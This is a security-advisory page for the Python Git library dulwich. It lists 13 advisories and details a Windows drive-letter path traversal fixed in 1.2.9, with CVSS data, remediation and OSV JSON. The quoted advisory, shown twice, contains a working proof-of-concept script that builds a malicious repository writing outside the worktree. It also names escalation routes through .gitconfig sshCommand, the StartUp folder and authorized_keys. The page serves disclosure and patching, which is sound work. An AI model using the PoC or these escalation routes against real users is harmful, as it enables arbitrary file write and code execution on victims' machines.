Vulnerabilities in pkg:pypi/dulwich

PACKAGE
Advisory Summary

GHSA-8mcx-5rqc-vhmf is a HIGH (CVSS 8.8) remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Dulwich libraries in the PyPI ecosystem. The issue involves arbitrary file write (rce) on windows via unvalidated drive letters in tree paths. Remediation is available by upgrading affected packages to version 1.2.9.

13 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/dulwich

13 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/dulwich. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-8mcx-5rqc-vhmf - HIGH Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths
GHSA-35mr-4567-66vg - MODERATE Dulwich: Infinite Loop Denial of Service (DoS) in Packfile Object Resolution
GHSA-8w8g-wq8h-fq33 - HIGH Dulwich: Symlink write-through in checkout(paths=[]) via raw os.open bypasses all symlink protections
GHSA-5fqc-mrg8-w798 - HIGH Dulwich: Symlink directory traversal in filter-branch index_filter via cross-commit state persistence
GHSA-cm62-gvxx-vmxx - HIGH Dulwich: Symlink directory traversal in stash pop allows arbitrary file write via intermediate directory symlinks
GHSA-gfhv-vqv2-4544 CVE-2026-52726 HIGH Dulwich's submodule path traversal in porcelain.submodule_update / porcelain.clone(recurse_submodules=True) yields RCE via attacker-dropped .git/hooks payload
GHSA-xrvj-v92f-53gj CVE-2026-47734 MODERATE Dulwich has unbounded memory allocation in receive-pack from crafted thin packs
GHSA-555p-6grf-mh7f CVE-2026-47712 LOW Dulwich doesn't sanitize commit subjects in `porcelain.format_patch`
GHSA-9277-mp7x-85jf CVE-2026-42563 HIGH Dulwich Vulnerable to Command Injection via Merge Driver Path
GHSA-897w-fcg9-f6xj CVE-2026-42305 HIGH Dulwich has an arbitrary file write via NTFS-hostile tree entries on Windows
GHSA-4j5j-58j7-6c3w CVE-2014-9706 CRITICAL Dulwich Arbitrary code execution via commit with directory path starting with .git
GHSA-vjjf-3rvg-gv3v CVE-2015-0838 CRITICAL Dulwich Buffer Overflow when handling pack files
GHSA-cwwh-4382-6fwr CVE-2017-16228 CRITICAL Dulwich RCE Vulnerability

GHSA-8mcx-5rqc-vhmf at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-8mcx-5rqc-vhmf
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Dulwich
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix GHSA-8mcx-5rqc-vhmf

To remediate this vulnerability, upgrade all affected Dulwich dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dulwich fixed: 1.2.9
pip install dulwich>=1.2.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show dulwich

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-8mcx-5rqc-vhmf, inspect your installed packages using pip:

pip show dulwich

Analyze the terminal output to locate any version of Dulwich in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.2.9), your application is affected.

Note: The pip show dulwich command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Dulwich, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Affected files * `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`) * `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`) ### Description / Summary A High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**. A malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b"C:\\\\Users\\\\...")`. On Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree. While the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it. ### Potential impact This vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine. Attack vectors include: 1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\Users\\<victim>\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git. 2. **Persistence (RCE):** Dropping a malicious executable into `C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\`. 3. **SSH Key Overwrite:** Writing to `C:\\Users\\<victim>\\.ssh\\authorized_keys` to compromise remote servers accessible by the victim. 4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets. ### Proof of Concept (PoC) The following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients. ```python from dulwich.objects import Blob, Tree, Commit from dulwich.repo import Repo import os, tempfile repo_path = tempfile.mkdtemp() repo = Repo.init(repo_path) # 1. Build the payload blob. blob = Blob(); blob.data = b"pwned-by-drive-letter\\n" repo.object_store.add_object(blob) # 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt evil_txt = Tree(); evil_txt[b"evil.txt"] = (0o100644, blob.id) repo.object_store.add_object(evil_txt) victim_dir = Tree(); victim_dir[b"victim"] = (0o040000, evil_txt.id) repo.object_store.add_object(victim_dir) users_dir = Tree(); users_dir[b"Users"] = (0o040000, victim_dir.id) repo.object_store.add_object(users_dir) # VULNERABILITY: The "C:" directory bypasses validation c_drive = Tree(); c_drive[b"C:"] = (0o040000, users_dir.id) repo.object_store.add_object(c_drive) commit = Commit() commit.tree = c_drive.id commit.message = b"add feature" commit.author = commit.committer = b"attacker <a@evil.example>" commit.author_time = commit.commit_time = 1700000000 commit.author_timezone = commit.committer_timezone = 0 repo.object_store.add_object(commit) repo.refs[b"refs/heads/main"] = commit.id print(f"Malicious repo created at {repo_path}") print(f"Clone with: dulwich clone {repo_path} /target/win/worktree") # Result: A Windows checkout of this commit writes the payload directly to C:\\Users\\victim\\evil.txt ```

GHSA-8mcx-5rqc-vhmf Affected Dulwich Versions

1 component(s)
Fixed Versions:
1.2.9
Product / Package Ecosystem Affected Versions Fixed Version
dulwich
PyPI
< 1.2.9
1.2.9

References

Frequently Asked Questions

What is GHSA-8mcx-5rqc-vhmf?
GHSA-8mcx-5rqc-vhmf is a security vulnerability in Dulwich involving Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Dulwich versions are affected?
Affected versions include releases prior to 1.2.9 across affected packages: dulwich.
What version fixes GHSA-8mcx-5rqc-vhmf?
Upgrading to 1.2.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dulwich affected?
Yes, dulwich is affected in releases prior to 1.2.9. Upgrade your dependency to 1.2.9 or later.
What is the CVSS score of GHSA-8mcx-5rqc-vhmf?
GHSA-8mcx-5rqc-vhmf has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H.
What CWE is associated with GHSA-8mcx-5rqc-vhmf?
GHSA-8mcx-5rqc-vhmf is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for GHSA-8mcx-5rqc-vhmf?
Run the dependency tree command: 'pip show dulwich'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8mcx-5rqc-vhmf",
  "modified" : "2026-10-02T19:14:21Z",
  "published" : "2026-10-02T19:14:21Z",
  "aliases" : [ ],
  "summary" : "Dulwich: Arbitrary File Write (RCE) on Windows via Unvalidated Drive Letters in Tree Paths",
  "details" : "### Affected files\n* `dulwich/index.py` (Methods: `validate_path_element_ntfs`, `_tree_to_fs_path`)\n* `dulwich/porcelain/__init__.py` (Method: `_checked_worktree_path`)\n\n### Description / Summary\nA High-severity Path Traversal vulnerability exists in Dulwich's checkout logic when running on Windows. The functions responsible for validating NTFS paths strictly reject `.git` variants, Alternate Data Streams (ADS), `git~1` short names, and reserved device names, but they completely fail to check for **DOS drive letter prefixes**.\n\nA malicious Git tree can contain an entry named `C:`. When Dulwich processes this tree on a Windows client, the string passes the `validate_path_element_ntfs` check. Later, `_tree_to_fs_path` passes this path to `os.path.join(root, b\"C:\\\\\\\\Users\\\\\\\\...\")`. \n\nOn Windows, if the second argument to `os.path.join` contains an absolute drive letter, the `root` path is completely discarded. As a result, Dulwich writes the repository file to the absolute path outside of the intended Git worktree.\n\nWhile the standard C `git` client explicitly blocks this via `has_dos_drive_prefix()` in `path.c`, Dulwich lacks this protection. Because Git trees are cross-platform, an attacker can author a malicious repository on Linux and wait for a Windows victim (or CI runner) to clone it.\n\n### Potential impact\n\nThis vulnerability allows an attacker to achieve **Arbitrary File Write**, which can trivially be escalated to **Remote Code Execution (RCE)** or total system compromise on the victim's Windows machine.\n\nAttack vectors include:\n1. **Git Config Poisoning (RCE):** Writing a malicious `C:\\\\Users\\\\<victim>\\\\.gitconfig` file to set `core.sshCommand` to an arbitrary executable, granting RCE the next time the user interacts with Git.\n2. **Persistence (RCE):** Dropping a malicious executable into `C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\StartUp\\\\`.\n3. **SSH Key Overwrite:** Writing to `C:\\\\Users\\\\<victim>\\\\.ssh\\\\authorized_keys` to compromise remote servers accessible by the victim.\n4. **CI/CD Compromise:** If a Windows-based CI/CD runner (e.g., GitHub Actions) automatically clones a malicious pull request, the runner is instantly compromised, potentially leaking repository secrets.\n\n### Proof of Concept (PoC)\nThe following Python script (runnable on Linux) generates a malicious Git repository containing a payload that targets Windows clients.\n\n```python\nfrom dulwich.objects import Blob, Tree, Commit\nfrom dulwich.repo import Repo\nimport os, tempfile\n\nrepo_path = tempfile.mkdtemp()\nrepo = Repo.init(repo_path)\n\n# 1. Build the payload blob.\nblob = Blob(); blob.data = b\"pwned-by-drive-letter\\\\n\"\nrepo.object_store.add_object(blob)\n\n# 2. Build the malicious tree hierarchy: C:/Users/victim/evil.txt\nevil_txt = Tree();   evil_txt[b\"evil.txt\"] = (0o100644, blob.id)\nrepo.object_store.add_object(evil_txt)\nvictim_dir = Tree(); victim_dir[b\"victim\"] = (0o040000, evil_txt.id)\nrepo.object_store.add_object(victim_dir)\nusers_dir  = Tree(); users_dir[b\"Users\"]   = (0o040000, victim_dir.id)\nrepo.object_store.add_object(users_dir)\n\n# VULNERABILITY: The \"C:\" directory bypasses validation\nc_drive    = Tree(); c_drive[b\"C:\"]        = (0o040000, users_dir.id)\nrepo.object_store.add_object(c_drive)\n\ncommit = Commit()\ncommit.tree = c_drive.id\ncommit.message = b\"add feature\"\ncommit.author = commit.committer = b\"attacker <a@evil.example>\"\ncommit.author_time = commit.commit_time = 1700000000\ncommit.author_timezone = commit.committer_timezone = 0\nrepo.object_store.add_object(commit)\nrepo.refs[b\"refs/heads/main\"] = commit.id\n\nprint(f\"Malicious repo created at {repo_path}\")\nprint(f\"Clone with: dulwich clone {repo_path} /target/win/worktree\")\n# Result: A Windows checkout of this commit writes the payload directly to C:\\\\Users\\\\victim\\\\evil.txt\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "dulwich"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.2.9"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/security/advisories/GHSA-8mcx-5rqc-vhmf"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/commit/4ca77f9f470742ba246cd6fa07beb6d735045664"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jelmer/dulwich"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jelmer/dulwich/releases/tag/dulwich-1.2.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-02T19:14:21Z",
    "nvd_published_at" : null
  }
}